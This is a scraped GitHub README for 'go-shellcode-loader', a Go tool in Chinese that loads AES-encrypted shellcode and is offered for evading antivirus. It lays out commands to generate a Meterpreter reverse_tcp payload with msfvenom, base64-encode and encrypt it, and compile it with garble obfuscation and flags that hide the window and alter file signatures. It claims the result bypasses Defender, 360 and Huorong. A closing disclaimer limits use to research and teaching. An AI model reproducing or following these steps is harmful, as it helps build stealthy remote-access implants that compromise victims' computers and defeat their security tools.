Skip to content

HZzz2/go-shellcode-loader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

24 Commits
 
 
 
 
 
 

Repository files navigation

go-shellcode-loader

GO混淆免杀shellcode加载器AES加密

混淆反检测 过DF、360和火绒

获取项目

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  GitHub地址:https://github.com/burrowers/garble
go install mvdan.cc/garble@latest    

生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw

base64 -w 0 -i rev.raw > rev.bs64

cat rev.bs64

复制到aes-sc.go中的51行替换payload

运行aes-sc.go生成AES加密后的值

go run aes_sc.go

复制输出的值到go-sc.go中的73行替换payload

编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go

参数解释:

garble(混淆库):

                      -tiny                    删除额外信息
                      
                      -literals               混淆文字

                      -seed=random   base64编码的随机种子 

go:

    -w                        去掉调试信息,不能gdb调试了

    -s                         去掉符号表

    -H windowsgui    隐藏执行窗口,不占用 cmd 终端。 (被查杀率高)

    -race                    使数据允许竞争检测,编译时改变了生成后的文件特征, 使得杀软无法检测,当然有一天也会失效的。

编译后得到go-sc.exe

检测图

火绒

image

360杀毒

image

360卫士

image

DF

image

virustotal

image

微步云杀箱

image

运行效果

go_sc_run.mp4

免责声明

仅供安全研究与教学之用,如果使用者将其做其他用途,由使用者承担全部法律及连带责任,本人不承担任何法律及连带责任。

About

GO免杀shellcode加载器混淆AES加密

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy